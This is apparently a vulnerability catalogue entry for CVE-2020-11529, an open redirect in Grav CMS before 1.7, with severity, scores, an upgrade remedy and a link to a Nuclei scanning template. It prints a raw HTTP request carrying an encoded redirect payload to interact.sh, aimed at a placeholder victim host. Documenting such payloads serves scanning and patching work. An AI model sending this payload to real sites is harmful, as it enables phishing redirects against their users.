| Title | Grav < 1.7 - Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks. |
| Remediation | Upgrade Grav CMS to version 1.7 or later to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.70199 |
| CVE ID | CVE-2020-11529 |
| CWE ID | CWE-601 |
| Tags | cve2020 cve redirect grav getgrav vuln |
Grav before 1.7 has an open redirect vulnerability via common/Grav.php. This is partially fixed in 1.6.23 and still present in 1.6.x.
GET /%252f%255cinteract.sh%252fa%253fb/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11529.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11529.pcap
N/AN/A